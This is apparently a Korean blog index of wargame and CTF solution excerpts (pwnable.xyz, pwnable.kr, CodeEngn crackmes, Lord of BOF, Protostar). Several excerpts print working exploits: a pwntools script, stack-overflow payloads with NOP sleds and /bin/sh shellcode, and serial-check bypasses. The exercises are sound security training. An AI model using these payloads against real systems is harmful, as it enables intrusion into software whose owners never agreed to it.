목록문제풀이 (39)
ii4gsp
파일을 다운로드 해주자. IDA로 열어보면 v5 + 7에 0xDEADBEEF를 넣고 scanf()함수로 v6, v7, v8에 입력을받는다. v5[v8 + 6]에 v6과 v7을 더한 값을 저장하고, 값을 출력한다. v5 + 7이 0xB000000B5면 win()함수를 실행하여 flag를 출력해준다. v5[0]에 -5,404,319,552,844,595,200을 입력해주고 v5[1]에 184,549,376을 입력해주면 된다. Exploit from pwn import * r = remote("svc.pwnable.xyz", 30003) r.sendline("-5404319552844595200 0 -6") r.sendline("184549376 0 -5") r.sendline("asd") r.interact..
파일 두개를 모두 다운받아 분석해보자 #include #include #include void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } gets()함수에서 받는 데이터의 크기를 제한하지지 않고 문자를 입력받아 취약점이 발견하는걸 알수있다. 버퍼 오버플로우를 발생시켜 키값을 0xcafebabe로 해주면 문제가 풀릴것이다. overflowme는 ebp-[0x2c]로부..
ssh fd@pwnable.kr -p2222로 서버를 접속해주자. 접속 후 파일을 확인해보면 fd, fd.c, flag파일이 보인다. 권한이 없기때문에 flag파일을 볼 수 없다. 소스코드를 보도록 하자. read() 함수에서 첫번째 인자fd가 0이면 표준 입력, 1이면 표준 출력, 2이면 표준 에러가된다. fd는 argv[1]을 통해 입력을 받고 0x1234만큼 뺀다. 0x1234는 10진수로 4660이다. argv[1]에 4660을 넣어주면 4660 - 4660 = 0 임으로 표준 입력을 할 수 있다. buf는 "LETMEWIN"이여야 하며 fd의 값을 0으로 하게 해서 입력을 받도록 하고, LETMEWIN을 입력하면 된다. Flag: mommy! I think I know what a file de..
C드라이브의 이름이 CodeEngn 일경우 CodeEngn이 어떤것으로 변경되는지라고 물어본다. C드라이브의 이름을 CodeEngn으로 바꿔주자. 프로그램을 실행했을때의 모습이다. 아무 값이나 넣어주고 Check를 눌러보자. 에러 메세지가 뜬다. 올리디버거로 파일을 열어보면 시리얼값이 일치할때와 일치하지않을때의 문자열이 보인다. CMP EAX, 0부분에 break point를 걸어주고 프로그램을 실행해보자. 입력한 "1234"와 시리얼처럼 보이는 "L2C-5781EqfgEngn4562-ABEX"가 보인다. "EqfgEngn"이 "CodeEngn"과 유사한 점에서 "CodeEngn"이 EqfgEngn"으로 바뀐걸 알 수 있다. 프로그램을 다시 실행하여 "L2C-5781EqfgEngn4562-ABEX"를 입..
프로그램의 등록키를 물어본다. 프로그램을 다운받고 실행해보자. 이름과 시리얼값이 일치해야 한다. 일치하지않으면 에러가 뜬다. UPX 패킹이 되어있다. upx 패커로 언패킹해주자. 올리디버거로 파일을 열고 Search for -> All referenced text strings를 클릭해주자 아까 보았던 에러 문자가 있다. 코드가 실행되는 부분으로 이동해주기 위해 더블클릭을 해주자. Registered User를 EDX에 저장하고 난다음 호출하는 함수에 break point를 걸고 파일을 실행해주자 키 값은 1111이라는 아무 값이나 주자 F7로 함수내부에 들어와보면 EAX와 EDX가 값을 비교한다. EAX, EDX레지스터의 값을 확인해보자 EAX에는 우리가 입력한 "Unregistered..."이 있고 ..
stack을 사용할 수 없고 RTL도 사용불가능이다. RET sled를 사용하여 문제를 풀어보자 gdb로 파일을 열고 ret부분에 break point를 걸고 RET에 RET를 한번더 넣고 NOP Sled와 쉘 코드를 넣어주자 RET에 RET를 넣어주고 0xbffffc0c를 RET로 잡고 페이로드를 작성해주자 buffer + sfp + &ret + 0xbffffc0c + NOP sled + 쉘 코드 [44byte] [4byte] [4byte] [100byte] [25byte] payload ./assassin $(python -c 'print "\x90" * 44 + "\x1e\x85\x04\x08" + "\x0c\xfc\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2..
problem_child함수가 argv[1]의 값을 받아와 버퍼에 복사하는데 buffer는 40인데 복사하는 값의 크기는 41이다. 1byte가 초과되어 SFP의 제일 마지막 1byte를 덮어 씌운다. 스택에서 SFP의 위 주소에는 RET가 존재한다. 즉, SFP + 4의 메모리는 다음 명령어의 실행 주소이다. gdb로 파일을열어 problem_child() 함수의 ret되기전 부분인 >problem_child+42>부분에 break point를 걸어주자. A로 41byte를 채우고 esp-8부터 40byte를 확인해 보자 0xbffffacc부터 "A"가 들어가고 41byte를 주어 SFP의 1byte를 0xbffffb41로 바꿔주었다. nop [15byte] + shellcode[25byte] + \x..
#include #include #include #include #include struct auth { char name[32]; int auth; }; struct auth *auth; char *service; int main(int argc, char **argv) { char line[128]; while(1) { printf("[ auth = %p, service = %p ]\n", auth, service); if(fgets(line, sizeof(line), stdin) == NULL) break; if(strncmp(line, "auth ", 5) == 0) { auth = malloc(sizeof(auth)); memset(auth, 0, sizeof(auth)); if(strlen(l..